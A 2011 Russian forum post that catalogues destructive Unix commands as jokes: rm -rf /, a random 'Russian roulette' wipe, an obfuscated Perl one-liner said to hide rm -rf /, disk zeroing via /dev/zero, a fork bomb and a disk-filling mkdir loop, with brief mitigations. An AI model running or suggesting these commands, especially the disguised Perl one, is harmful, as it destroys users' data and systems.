#1
|
|
Вес репутации:
0
Регистрация: 17.09.2009
Сообщений: 594
Сказал(а) спасибо: 98
Спасибок 138
в 100 сообщениях |
Вредные команды *nix -
04.04.2011, 17:17
Классика жанра
Действие: rm -rf / Последствия: сносит все данные без предупреждений. Хотя бы раз так подкалывали, наверное, всех. Большинство других шуток есть "вариация на тему". Несмотря на очевидный смысл, множество форм белковой жизни выполняло её на своих машинах с целью "на посмотреть" (кстати, видеоролик, спасибо комментаторам). Есть вариант, найденный на БОРе, который называется "русская рулетка": [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив" Perl`овый юмор Действие: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Последствия: довольно остроумная шутка на perl, скрывающая истинную команду rm -rf / Было на LOR и вызвало, естественно, потерю данных у многих из его постоянных обитателей, решивших "помочь" злобному автору "отладить" программу. Некоторые "помогали" на работающих "боевых" серверах. Укусить себя за хвост Действие: chmod -x chmod Последствия: естественно, сменить права потом невозможно ни у о одного файла. Шутка, благодаря bash.org.ru ставшая легендой. Вообще, шутки с правами достаточно популярны. Забой нулями Действие: cat /dev/zero >/dev/hda Последствия: забивает нулями все разделы первого IDE-винчестера. С распространением SATA-дисков нужно кое-что изменить, но тем не менее. Форк-бомба (forkbomb) Действие: :(){ :|:&};: Системные требования: не требуется Последствия: основная мысль - заполнить ресурсы системы бесполезными копиями программы. По причине исчерпания ресурсов система по крайней мере на некоторое время становится недоступна для пользователя. На том же LOR обсуждалось и опробовалось многочисленными участниками. При правильном использовании команды ulimit ущерб минимален (обычно по умолчанию количество процессов ставится нелимитированным). Музыка в стиле драм Действие: cat /boot/kernel > /dev/dsp Последствия: из колонок начнут доноситься жуткие звуки, ибо загрузочный образ ядра напрямую будет передан на звуковое устройство. Кому-то нравится вариант cat /dev/mouse > /dev/dsp Действие: выполнение скрита while : ; do mkdir subdir cd subdir done Последствия: создание огромного количества подкаталогов может исчерпать место на диске и во всяком случае существенно замедляет систему. Впрочем, через некоторое время это будет прекращено: слишком длинное имя получится, о чём система сообщит. Эффективно предотвращается при помощи дисковых квот. источник |
Ответить |
Опции темы | |
Опции просмотра | |
|
|